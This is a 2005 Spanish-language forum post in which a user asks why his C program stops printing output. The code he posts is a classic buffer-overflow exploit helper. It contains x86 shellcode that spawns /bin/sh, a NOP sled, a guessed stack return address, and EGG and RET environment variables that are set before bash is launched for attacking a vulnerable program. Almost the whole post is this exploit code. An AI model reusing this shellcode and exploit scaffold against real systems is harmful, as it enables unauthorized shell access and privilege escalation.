
26/10/2005, 21:38
|
| | Fecha de Ingreso: enero-2004 Ubicación: Tirando del cable del modem
Mensajes: 362
Antigüedad: 21 años, 1 mes Puntos: 0 | |
No termina de ejecutarse Cual es el error en el siguiente codigo???
No me termina de printear las cosas en pantalla
Muchas Gracias.
Código:
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_cod(void) {
__asm__("mov %esp,%ecx");
}
int main(int argc, char **argv)
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize=atoi(argv[1]);
if (argc > 2) offset=atoi(argv[2]);
if (argc>3) eggsize=atoi(argv[3]);
if (!(buff=malloc(bsize))) {
printf("No se puede localizar la memoria.\n");
exit(0);
}
if (!(egg=malloc(eggsize))) {
printf("No se puede localizar la memoria.\n");
exit(0);
}
addr=get_cod()-offset;
printf("Usando dirección: 0x%x\n", addr);
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
ptr=egg;
for(i=0;i<eggsize-strlen(shellcode)-1;i++)
*(ptr++)=NOP;
for (i=0;i< strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
egg[eggsize-1]='\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
__________________ [^Delyryus^]<<2003>>
[^La ignorancia me corre, pero yo corro mas rapido^] www.virusinfo.com.ar |